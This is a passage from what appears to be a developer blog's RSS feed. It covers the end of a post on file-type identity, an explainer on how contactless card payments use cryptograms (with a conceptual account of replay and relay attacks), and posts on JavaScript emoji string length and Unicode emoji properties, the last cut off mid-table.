&lt;p&gt;&lt;strong&gt;The same boundary appears outside file formats.&lt;/strong&gt; In Node.js, &lt;a href=&quot;/blog/execsync-vs-execfilesync&quot;&gt;&lt;code&gt;execSync()&lt;/code&gt; and &lt;code&gt;execFileSync()&lt;/code&gt; differ over whether text reaches a shell parser&lt;/a&gt;. The subject changes, but the security question survives: which interpreter receives authority after validation, and what new meaning can it assign?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;The file type was the wrong object&lt;/h2&gt;
&lt;p&gt;Return to &lt;code&gt;photo.zip&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Its bytes still conform to whatever JPEG structure they conformed to before the rename. Its new suffix now suggests ZIP. A desktop shell can route it to an archive utility. A browser can attach a media type derived from the information available to it. A signature detector can recognize JPEG. A JPEG decoder may accept it. A ZIP parser should reject it unless the bytes also satisfy ZIP&apos;s rules.&lt;/p&gt;
&lt;p&gt;Which answer is the file&apos;s identity?&lt;/p&gt;
&lt;p&gt;There is no universal file-type answer that replaces all the others. Each answer belongs to a relationship:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a &lt;strong&gt;name&lt;/strong&gt; and a naming convention;&lt;/li&gt;
&lt;li&gt;a &lt;strong&gt;message&lt;/strong&gt; and its declared media type;&lt;/li&gt;
&lt;li&gt;a &lt;strong&gt;byte sequence&lt;/strong&gt; and a recognition rule;&lt;/li&gt;
&lt;li&gt;a &lt;strong&gt;byte sequence&lt;/strong&gt; and a format grammar;&lt;/li&gt;
&lt;li&gt;an &lt;strong&gt;input&lt;/strong&gt; and a concrete parser;&lt;/li&gt;
&lt;li&gt;a parsed result and the &lt;strong&gt;behavior&lt;/strong&gt; an application permits.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The file does not need to know what it is. The system needs to state what it observed, which grammar it checked, and what it plans to do next.&lt;/p&gt;
&lt;p&gt;That is a less convenient answer than one type label. It is also the answer that survives a rename.&lt;/p&gt;
</content:encoded></item><item><title>How Does a Batteryless Contactless Card Prove a Payment Is Real?</title><link>https://didof.dev/blog/how-contactless-card-payments-work/</link><guid isPermaLink="true">https://didof.dev/blog/how-contactless-card-payments-work/</guid><description>How contactless card payments use wireless power and a fresh cryptogram, why copying a tap fails, and why a relay attack can still work.</description><pubDate>Sun, 09 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import ContactlessReplay from &quot;./contactless-replay&quot;;&lt;/p&gt;
&lt;p&gt;A contactless bank card has no battery. Nothing inside it is continuously listening for a payment terminal. Yet, during a tap, its chip wakes up, exchanges a sequence of messages, performs a cryptographic calculation, and gives the bank something it can verify.&lt;/p&gt;
&lt;p&gt;That is already stranger than the usual explanation.&lt;/p&gt;
&lt;p&gt;The intuitive model is that the terminal reads a card number over a very short-range radio link. But if that were the whole mechanism, recording the exchange once would be enough to repeat it. A static number is still a static number, even when it travels only a few centimeters.&lt;/p&gt;
&lt;p&gt;The real tap stacks three different systems on top of each other:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;the terminal powers the card;&lt;/li&gt;
&lt;li&gt;the terminal and card exchange payment data;&lt;/li&gt;
&lt;li&gt;the chip produces a fresh cryptographic proof over that data.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Those layers solve different problems. Confusing them is why contactless payment can look either magical or dangerously simple.&lt;/p&gt;
&lt;h2&gt;The terminal powers the card before it reads it&lt;/h2&gt;
&lt;p&gt;Inside the plastic is an antenna coil connected to a chip. The terminal has another coil. When the terminal generates its magnetic field, the card&apos;s coil couples to it and extracts enough energy to run the chip.&lt;/p&gt;
&lt;p&gt;This is not a side effect. It is part of the contactless interface. An &lt;a href=&quot;https://www.nxp.com/docs/en/application-note/AN11019.pdf&quot;&gt;NXP antenna-design guide for ISO/IEC 14443 readers&lt;/a&gt;—the International Organization for Standardization and International Electrotechnical Commission standard used by proximity cards—describes the same reader antenna doing three jobs: powering the card, sending data to it, and receiving its response.&lt;/p&gt;
&lt;p&gt;The card therefore does not need to store energy between payments. It borrows power for the duration of the conversation.&lt;/p&gt;
&lt;p&gt;Near Field Communication (NFC) is the radio technology wrapped around that interaction. Its short range creates the familiar tap gesture and limits the nominal operating area. It does not, by itself, prove that the card is genuine. Radio moves the messages. Authentication gives those messages meaning.&lt;/p&gt;
&lt;h2&gt;The tap becomes a payment conversation&lt;/h2&gt;
&lt;p&gt;Once powered, the card does not immediately shout a complete payment into the air. The terminal and card first identify a compatible payment application and agree on how to process it.&lt;/p&gt;
&lt;p&gt;This is where the details begin to vary. EMV—the payment specifications originally named for Europay, Mastercard, and Visa—contains different contactless kernels for different payment systems. A Visa transaction is not byte-for-byte identical to a Mastercard transaction. Offline and online authorization also follow different paths.&lt;/p&gt;
&lt;p&gt;But a representative online transaction has a stable shape:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Terminal: Which payment application can you run?
Card:     Here is a compatible application.

Terminal: Here is the context for this transaction.
Card:     Here is my cryptographic response.

Terminal → payment network → issuer: Please verify it.
Issuer:   Approved or declined.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The issuer is the bank or financial institution that issued the card. Between the merchant and that issuer there may be a processor, an acquirer, and a card network. Those systems matter commercially, but they do not change the central proof: the issuer receives transaction data plus a result that should only have been produced by the card&apos;s secret key material.&lt;/p&gt;
&lt;p&gt;The terminal contributes context such as the amount and a value called an &lt;strong&gt;unpredictable number&lt;/strong&gt;. The card contributes its own changing state, including an &lt;strong&gt;Application Transaction Counter (ATC)&lt;/strong&gt;, a counter advanced as transactions are initiated. The exact data list depends on the payment system and card profile, but public &lt;a href=&quot;https://doi.org/10.1109/SP46214.2022.9833642&quot;&gt;Visa and Mastercard protocol traces&lt;/a&gt; show both terminal-provided transaction data and card-generated state entering the cryptographic process.&lt;/p&gt;
&lt;p&gt;The terminal is not merely reading the card. It is asking the chip to authenticate a transaction context.&lt;/p&gt;
&lt;h2&gt;The secret never crosses the air&lt;/h2&gt;
&lt;p&gt;For a common online payment, the card creates an &lt;strong&gt;Authorization Request Cryptogram (ARQC)&lt;/strong&gt;. A cryptogram is the card&apos;s cryptographic result for this transaction. In this path, it behaves like a Message Authentication Code (MAC): a short value computed from data and secret-derived key material.&lt;/p&gt;
&lt;p&gt;A simplified conceptual input might look like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;amount:                 EUR 27.40
terminal value:         7A3F91C2
card counter:           0194
other EMV data:         ...

cryptogram:             94C8A7F1...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is deliberately not the algorithm or universal field list used by a real card. Different payment systems and card profiles construct the input and derive keys differently. The useful property is the relationship:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;transaction data + changing card state + secret-derived key
                              ↓
                     transaction cryptogram
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The terminal can see the transaction data, the counter, and the resulting cryptogram. It does not receive the long-term secret needed to produce a new valid result. The issuer has the corresponding key infrastructure and can independently verify the relationship.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.emvco.com/knowledge-hub/quantum-computing-and-emv-chip-whats-the-threat/&quot;&gt;EMVCo&apos;s description of online cryptograms&lt;/a&gt; is explicit about this path: the payment device responds to an unpredictable number from the terminal, uses symmetric cryptography, and produces a cryptogram that the card issuer verifies remotely.&lt;/p&gt;
&lt;p&gt;The closest physical analogy is a tamper-evident seal placed over the transaction fields. You may read the label and copy the appearance of the package, but changing what is inside breaks the relationship the issuer checks.&lt;/p&gt;
&lt;p&gt;The analogy stops there. There is no physical seal. There is a mathematical authentication code, and the issuer verifies it using data and keys.&lt;/p&gt;
&lt;h2&gt;What happens if you record the whole tap?&lt;/h2&gt;
&lt;p&gt;Suppose an attacker captures every message visible between the terminal and the card. They now know the amount, the terminal&apos;s unpredictable value, the card counter, and the cryptogram.&lt;/p&gt;
&lt;p&gt;That sounds like everything. It is not the secret.&lt;/p&gt;
&lt;p&gt;If the attacker changes the amount from EUR 27.40 to EUR 82.00 while keeping the captured cryptogram, the issuer computes the expected result over different data. The old cryptogram no longer matches.&lt;/p&gt;
&lt;p&gt;If the attacker resends the entire original packet unchanged, the cryptogram can still be mathematically consistent with that old packet. This is where the card&apos;s counter and issuer-side history matter. The Application Transaction Counter is also an input to issuer-side &lt;a href=&quot;https://www.ibm.com/docs/en/zos/3.1.0?topic=services-emv-transaction-arqcarpc-service-csnbeac-csneeac&quot;&gt;Authorization Request Cryptogram verification&lt;/a&gt;, giving the host a state value it can compare with earlier transactions. The exact acceptance policy is not identical at every issuer: offline transactions and delayed delivery can make counters arrive out of order. So the counter is better understood as authenticated state and a fraud signal, not a universal “duplicate equals decline” switch.&lt;/p&gt;
&lt;p&gt;The model below makes both cases visible. It simulates a representative online flow; it does not implement an EMV kernel or read a real card. Current &lt;a href=&quot;https://developer.chrome.com/docs/capabilities/nfc&quot;&gt;Web NFC is limited to NFC Data Exchange Format tags&lt;/a&gt;, and does not expose the low-level payment interfaces needed for that.&lt;/p&gt;
&lt;p&gt;&amp;lt;ContactlessReplay client:visible /&amp;gt;&lt;/p&gt;
&lt;p&gt;The important result is smaller than the protocol: copying a message does not give you the ability to produce a fresh proof over new data.&lt;/p&gt;
&lt;h2&gt;A valid cryptogram still does not prove distance&lt;/h2&gt;
&lt;p&gt;Replay is not the only possible attack.&lt;/p&gt;
&lt;p&gt;Instead of recording an old transaction and trying to reuse it, an attacker can forward the current conversation in real time. One device sits near the victim&apos;s genuine card. Another behaves like a card beside the merchant&apos;s terminal. Messages travel between them over a longer network connection.&lt;/p&gt;
&lt;p&gt;The merchant terminal sends a fresh challenge. The distant genuine card receives it and computes a fresh valid response. The terminal sees a cryptogram that verifies because the real card did participate—just not where the terminal assumed it was.&lt;/p&gt;
&lt;p&gt;This is a &lt;strong&gt;relay attack&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;merchant terminal ⇄ attacker&apos;s proxy ⇄ genuine remote card
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Researchers have demonstrated relays with commodity devices, and a &lt;a href=&quot;https://arxiv.org/abs/2504.12812&quot;&gt;2025 systematization with experimental replication&lt;/a&gt; found relay attacks remained reproducible while also documenting protocol- and implementation-specific defenses.&lt;/p&gt;
&lt;p&gt;This does not mean every contactless card can always be charged from arbitrary distance. Timing checks, relay-resistance protocols, cardholder verification, issuer risk systems, spending controls, and the details of the card and terminal all change feasibility.&lt;/p&gt;
&lt;p&gt;It means the cryptogram proves a narrower statement than people often assume:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A device with the required key material participated in this transaction data.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;It does not automatically prove:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;That device was physically beside this terminal, or the human cardholder approved the purchase.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That boundary is not a footnote. It tells us what the mechanism actually authenticates.&lt;/p&gt;
&lt;h2&gt;Cryptographic validity is not payment approval&lt;/h2&gt;
&lt;p&gt;Even without an attacker, a valid cryptogram is only one input to the issuer&apos;s decision.&lt;/p&gt;
&lt;p&gt;The issuer can still decline because the account is blocked, funds or credit are unavailable, the transaction looks risky, or cardholder verification is required. Conversely, a payment system with incomplete checks can mishandle a technically suspicious transaction.&lt;/p&gt;
&lt;p&gt;Cryptography answers a specific question: is this authentication code consistent with the card&apos;s key material and the transaction data the issuer received?&lt;/p&gt;
&lt;p&gt;Authorization answers a larger one: should this payment be allowed?&lt;/p&gt;
&lt;h2&gt;A phone can speak the same external language&lt;/h2&gt;
&lt;p&gt;A phone payment looks similar to the terminal because NFC supports &lt;strong&gt;card-emulation mode&lt;/strong&gt;. The &lt;a href=&quot;https://nfc-forum.org/learn/nfc-technology/&quot;&gt;NFC Forum describes this explicitly&lt;/a&gt;: a phone or wearable can present itself through the same framework as a contactless card, while the service on the other side only needs it to “look like” one.&lt;/p&gt;
&lt;p&gt;What changes is behind that interface. A mobile wallet can use secure hardware or host-based card emulation, plus local cardholder verification such as a face, fingerprint, or device code. It can also replace the card number with a payment token constrained to a particular device or scenario, as described by &lt;a href=&quot;https://www.emvco.com/emv-technologies/payment-tokenisation/&quot;&gt;EMV Payment Tokenisation&lt;/a&gt;. The exact design depends on the wallet and device.&lt;/p&gt;
&lt;p&gt;That is why the phone belongs at the edge of this explanation rather than at its center. From the terminal&apos;s point of view, it participates in a familiar contactless payment protocol. Internally, it may protect and present a different credential in a different way.&lt;/p&gt;
&lt;h2&gt;A tap is three mechanisms, not one&lt;/h2&gt;
&lt;p&gt;The short-range radio link is the most visible part of contactless payment, but it is not the part that makes a copied transcript useless.&lt;/p&gt;
&lt;p&gt;The terminal&apos;s field powers the card. The protocol gives the chip a transaction to evaluate. The cryptogram binds selected data and changing card state to secret-derived key material that stays out of the radio exchange.&lt;/p&gt;
&lt;p&gt;That is why a batteryless card can do more than reveal an identity. For a few moments, the terminal lends it power, and the card uses that power to produce evidence.&lt;/p&gt;
&lt;p&gt;But the evidence has a boundary. It can show that the right cryptographic device participated in the data. It cannot, on its own, prove where that device was or who intended the payment.&lt;/p&gt;
&lt;p&gt;The useful question is no longer “is contactless secure?” It is: &lt;strong&gt;which claim does each layer actually prove?&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item><item><title>Why JavaScript says this emoji is 11 characters long</title><link>https://didof.dev/blog/javascript-emoji-string-length/</link><guid isPermaLink="true">https://didof.dev/blog/javascript-emoji-string-length/</guid><description>Why one family emoji counts as 11 UTF-16 units—and how code points, grapheme clusters and bytes answer different questions.</description><pubDate>Sun, 09 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import EmojiLengthInspector from &quot;./EmojiLengthInspector.astro&quot;;&lt;/p&gt;
&lt;p&gt;Paste this family into a JavaScript console:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const family = &quot;👨‍👩‍👧‍👦&quot;;

family.length; // 11
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There is one family on the screen. JavaScript says eleven.&lt;/p&gt;
&lt;p&gt;Fine. Maybe &lt;code&gt;length&lt;/code&gt; is just weird. Let&apos;s try two other ways of splitting the string:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;family.split(&quot;&quot;).length; // 11
[...family].length;      // 7
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Better, somehow. We have reduced one visible symbol from eleven things to seven things without changing a pixel.&lt;/p&gt;
&lt;p&gt;There is a fourth answer too:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const segmenter = new Intl.Segmenter(&quot;en&quot;, {
  granularity: &quot;grapheme&quot;
});

[...segmenter.segment(family)].length; // 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And if we encode the same string as UTF-8, it occupies 25 bytes.&lt;/p&gt;
&lt;p&gt;So this family is 25, 11, 7 and 1. None of those numbers is a mistake.&lt;/p&gt;
&lt;h2&gt;The eleven are really there&lt;/h2&gt;
&lt;p&gt;The family is not stored as a single “family” character. Underneath the picture are four people joined by three invisible characters:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;U+1F468  MAN
U+200D   ZERO WIDTH JOINER
U+1F469  WOMAN
U+200D   ZERO WIDTH JOINER
U+1F467  GIRL
U+200D   ZERO WIDTH JOINER
U+1F466  BOY
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The invisible character is called a Zero Width Joiner, usually shortened to ZWJ. Its job is in the name: take up no visible width and ask the renderer to join the emoji around it.&lt;/p&gt;
&lt;p&gt;“Ask” matters. A font or platform that recognizes this sequence can draw one family. A system that does not recognize it can fall back to separate people. The text has not changed; only the renderer&apos;s knowledge has. Unicode defines both the sequence and its fallback behavior in the &lt;a href=&quot;https://www.unicode.org/reports/tr51/tr51-29.html&quot;&gt;Unicode Emoji specification&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Now we can account for JavaScript&apos;s eleven.&lt;/p&gt;
&lt;p&gt;JavaScript indexes strings in UTF-16 units, each 16 bits wide. The four people need two units each. Every ZWJ needs one. That gives us eight plus three: eleven. &lt;code&gt;length&lt;/code&gt; is reporting exactly what the &lt;a href=&quot;https://tc39.es/ecma262/multipage/text-processing.html&quot;&gt;ECMAScript string model&lt;/a&gt; tells it to report.&lt;/p&gt;
&lt;p&gt;This is also why &lt;code&gt;split(&quot;&quot;)&lt;/code&gt; did not help. It cuts at the same UTF-16 boundaries. For many emoji, that means it can separate the two halves of what is supposed to be one Unicode value. Those two halves are called a surrogate pair, which is a wonderfully technical name for “please do not cut here.”&lt;/p&gt;
&lt;h2&gt;Spread fixes one problem&lt;/h2&gt;
&lt;p&gt;The string iterator used by &lt;code&gt;[...family]&lt;/code&gt; knows how to put surrogate pairs back together. It returns complete Unicode code points instead of individual UTF-16 units.&lt;/p&gt;
&lt;p&gt;For our family, that means four people plus three joiners:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[...family];

// MAN, ZWJ, WOMAN, ZWJ, GIRL, ZWJ, BOY
//  1    2     3     4    5    6    7
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Seven is a useful answer if we want to inspect the Unicode values in the string. It is still a strange answer if we are building a character counter for a text box.&lt;/p&gt;
&lt;p&gt;Spread understands how a code point is encoded. It does not understand which code points belong together on screen.&lt;/p&gt;
&lt;h2&gt;Emoji are small assemblies&lt;/h2&gt;
&lt;p&gt;The family is a dramatic example, but it is not an exotic exception. Many familiar emoji are assembled from smaller parts:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;What we see&lt;/th&gt;
&lt;th&gt;What is in the string&lt;/th&gt;
&lt;th&gt;Code points&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;👩🏽‍💻&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;woman + skin tone + ZWJ + laptop&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;🇮🇹&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;regional indicator I + regional indicator T&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;1️⃣&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;1&lt;/code&gt; + emoji presentation selector + keycap mark&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;❤️&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;heart + emoji presentation selector&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The Italian flag is especially pleasing: there is no single “Italy flag” code point in the string. There are two regional-indicator letters, I and T, which a supporting renderer presents as a flag.&lt;/p&gt;
&lt;p&gt;The heart hides a smaller surprise. &lt;code&gt;❤&lt;/code&gt; and &lt;code&gt;❤️&lt;/code&gt; can look almost identical, but the second one contains an extra code point called a variation selector. It asks for emoji-style presentation. Deleting or truncating that invisible value can change how the heart is drawn even though no ordinary letter disappeared.&lt;/p&gt;
&lt;p&gt;Emoji only make the layers unusually easy to see. The letter &lt;code&gt;é&lt;/code&gt; can be stored as one code point, or as &lt;code&gt;e&lt;/code&gt; followed by a combining accent. Those strings look the same in many fonts, but they are assembled differently too.&lt;/p&gt;
&lt;p&gt;This is the recurring trick. What looks atomic on screen can be a short sequence with instructions tucked inside it.&lt;/p&gt;
&lt;p&gt;It creates a second trap for code that tries to identify emoji: &lt;a href=&quot;/blog/javascript-regex-7-is-emoji&quot;&gt;even the ordinary character &lt;code&gt;7&lt;/code&gt; has Unicode&apos;s &lt;code&gt;Emoji&lt;/code&gt; property&lt;/a&gt;. That is not another way of measuring this string. It is another question entirely.&lt;/p&gt;
&lt;p&gt;&amp;lt;EmojiLengthInspector /&amp;gt;&lt;/p&gt;
&lt;h2&gt;Count what the person can delete&lt;/h2&gt;
&lt;p&gt;For cursor movement, backspace and visible character limits, software usually needs a larger boundary than a code point. Unicode calls that boundary an &lt;em&gt;extended grapheme cluster&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;The name is heavier than the idea. A grapheme cluster is a practical attempt to keep together the pieces that a reader experiences as one text unit: a letter and its combining accent, a flag pair, an emoji with a skin-tone modifier, or a family joined by ZWJs. The default rules live in &lt;a href=&quot;https://www.unicode.org/reports/tr29/&quot;&gt;Unicode Text Segmentation&lt;/a&gt;, and JavaScript exposes them through &lt;a href=&quot;https://tc39.es/ecma402/#segmenter-objects&quot;&gt;&lt;code&gt;Intl.Segmenter&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function graphemes(text) {
  const segmenter = new Intl.Segmenter(&quot;en&quot;, {
    granularity: &quot;grapheme&quot;
  });

  return [...segmenter.segment(text)]
    .map(({ segment }) =&amp;gt; segment);
}

graphemes(family); // [&quot;👨‍👩‍👧‍👦&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we get one, which is probably the answer a text-field counter wanted.&lt;/p&gt;
&lt;p&gt;Probably—not universally. A grapheme cluster is a text boundary, not a promise that every font will draw one glyph. A protocol might care about bytes. JavaScript string indices still use UTF-16 units. Code that examines Unicode data may need code points. &lt;code&gt;Intl.Segmenter&lt;/code&gt; has not discovered the true length of the string; it has answered a more useful question for this particular job.&lt;/p&gt;
&lt;h2&gt;How one symbol fails a five-character limit&lt;/h2&gt;
&lt;p&gt;Imagine a profile field labelled “Maximum 5 characters.” The validation is entirely ordinary:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function isValid(value) {
  return value.length &amp;lt;= 5;
}

isValid(family); // false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nothing is broken in the function. The bug is in the agreement between the interface and the implementation. The interface uses “character” to mean something a person can see. The validator uses it to mean a UTF-16 unit. One family consumes eleven of those units, so a field advertising five visible characters rejects it.&lt;/p&gt;
&lt;p&gt;Truncation is nastier:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;family.slice(0, 4);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;slice()&lt;/code&gt; also cuts at UTF-16 positions. In this case, position four lands inside the surrogate pair for the second person. Other cut points can remove a skin-tone modifier, separate a flag or leave a joiner without the sequence it was meant to join.&lt;/p&gt;
&lt;p&gt;If the product rule is genuinely about visible text, the limit should use the same grapheme boundaries:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function limitVisibleText(value, maximum) {
  return graphemes(value).slice(0, maximum).join(&quot;&quot;);
}

limitVisibleText(family, 1); // &quot;👨‍👩‍👧‍👦&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The family survived because we stopped cutting the storage representation and started cutting the units the interface claims to count.&lt;/p&gt;
&lt;h2&gt;“Maximum 50 characters” is not a complete specification&lt;/h2&gt;
&lt;p&gt;The family never changed. It occupies 25 bytes when encoded as UTF-8, 11 UTF-16 units inside JavaScript, 7 Unicode code points and 1 grapheme cluster under the default segmentation rules.&lt;/p&gt;
&lt;p&gt;The number only becomes wrong when we attach it to the wrong decision.&lt;/p&gt;
&lt;p&gt;So when a product requirement says “maximum 50 characters,” the awkward question is not an implementation detail. It is the requirement that is still missing: 50 bytes, 50 UTF-16 units, 50 code points, or 50 things the person typing can reasonably perceive as text?&lt;/p&gt;
</content:encoded></item><item><title>Why JavaScript thinks 7 is an emoji</title><link>https://didof.dev/blog/javascript-regex-7-is-emoji/</link><guid isPermaLink="true">https://didof.dev/blog/javascript-regex-7-is-emoji/</guid><description>A Unicode regex says 7 is an emoji. The reason reveals the difference between a character property, visual presentation and a complete emoji sequence.</description><pubDate>Sun, 09 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is valid JavaScript:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/\p{Emoji}/u.test(&quot;7&quot;); // true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Apparently, JavaScript thinks &lt;code&gt;7&lt;/code&gt; is an emoji.&lt;/p&gt;
&lt;p&gt;It gets better. The same test returns &lt;code&gt;true&lt;/code&gt; for every ASCII digit, plus &lt;code&gt;#&lt;/code&gt; and &lt;code&gt;*&lt;/code&gt;. None of them has suddenly turned yellow or acquired a face. They still look like text.&lt;/p&gt;
&lt;p&gt;This is not a regex bug. It is a correct answer to a question we probably did not mean to ask.&lt;/p&gt;
&lt;h2&gt;The regex never looked at the screen&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;\p{...}&lt;/code&gt; syntax is called a Unicode property escape. It asks whether a code point belongs to a named set in the Unicode Character Database.&lt;/p&gt;
&lt;p&gt;In this case, the set is literally called &lt;code&gt;Emoji&lt;/code&gt;. &lt;a href=&quot;https://www.unicode.org/reports/tr51/&quot;&gt;Unicode Emoji defines an emoji character as a character with that property&lt;/a&gt;. ECMAScript exposes the same property to regular expressions.&lt;/p&gt;
&lt;p&gt;So the regex does not inspect a glyph, a font or a screenshot. It looks up U+0037, the code point for &lt;code&gt;7&lt;/code&gt;, and finds &lt;code&gt;Emoji=Yes&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;That still leaves the awkward part. Why did Unicode put an ordinary digit there?&lt;/p&gt;
&lt;h2&gt;Seven is a component waiting for two more pieces&lt;/h2&gt;
&lt;p&gt;The answer is hiding in this version of seven:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;7️⃣
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That keycap is not one encoded character. It is a three-part sequence:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;U+0037  DIGIT SEVEN
U+FE0F  VARIATION SELECTOR-16
U+20E3  COMBINING ENCLOSING KEYCAP
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first part supplies the symbol. The invisible variation selector requests emoji-style presentation. The final combining mark asks the renderer to put the symbol inside a keycap.&lt;/p&gt;
&lt;p&gt;Unicode defines the same construction for every digit, &lt;code&gt;#&lt;/code&gt; and &lt;code&gt;*&lt;/code&gt;: &lt;code&gt;[0-9#*] + U+FE0F + U+20E3&lt;/code&gt;. Its &lt;a href=&quot;https://www.unicode.org/Public/17.0.0/ucd/emoji/emoji-data.txt&quot;&gt;Emoji 17.0 data&lt;/a&gt; therefore marks those base characters as both &lt;code&gt;Emoji&lt;/code&gt; and &lt;code&gt;Emoji_Component&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;7&lt;/code&gt; belongs to the machinery used to build an emoji. That does not mean &lt;code&gt;7&lt;/code&gt; alone should be drawn as one.&lt;/p&gt;
&lt;p&gt;This is the same distinction that lets &lt;a href=&quot;/blog/javascript-emoji-string-length&quot;&gt;one family emoji have four different string lengths&lt;/a&gt;: a picture that looks atomic can be assembled from several encoded parts. Here, however, we are not counting the parts. We are asking what role each part is allowed to play.&lt;/p&gt;
&lt;h2&gt;Three properties, three different questions&lt;/h2&gt;
&lt;p&gt;A tempting fix is to replace &lt;code&gt;Emoji&lt;/code&gt; with &lt;code&gt;Emoji_Presentation&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/\p{Emoji_Presentation}/u.test(&quot;7&quot;); // false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This property asks whether a character should appear as an emoji by default. It correctly excludes the ordinary digit.&lt;/p&gt;
&lt;p&gt;Unfortunately, it also excludes this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/\p{Emoji_Presentation}/u.test(&quot;❤️&quot;); // false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The heart appears as an emoji because the full string contains U+FE0F, the emoji presentation selector. The base heart does not have default emoji presentation, and the selector itself does not have the &lt;code&gt;Emoji_Presentation&lt;/code&gt; property. Testing the code points one at a time misses the instruction created by the sequence.&lt;/p&gt;
&lt;p&gt;Current ECMAScript has a third tool for runtimes that support the &lt;code&gt;v&lt;/code&gt; regex flag: Unicode properties of strings. Unlike ordinary character properties, these can recognize a sequence of several code points.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/^(?:\p{RGI_Emoji})$/v.test(&quot;7&quot;);  // false
/^(?:\p{RGI_Emoji})$/v.test(&quot;7️⃣&quot;); // true
/^(?:\p{RGI_Emoji})$/v.test(&quot;❤️&quot;); // true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;RGI means &lt;em&gt;Recommended for General Interchange&lt;/em&gt;. &lt;a href=&quot;https://www.unicode.org/reports/tr51/#def_rgi_set&quot;&gt;&lt;code&gt;RGI_Emoji&lt;/code&gt; covers characters and complete sequences that Unicode recommends for broad cross-platform support&lt;/a&gt;. It recognizes the construction instead of merely noticing that one component has an emoji-related property.&lt;/p&gt;
&lt;p&gt;These tests now answer three distinct questions:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Test&lt;/th&gt;
&lt;th&gt;What it asks about &lt;code&gt;7&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;Result&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\p{Emoji}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Does this code point have Unicode&apos;s &lt;code&gt;Emoji&lt;/code&gt; property?&lt;/td&gt;
&lt;td&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;\p{Emoji_Presentation}&lt;/code&gt;&lt;/td&gt;
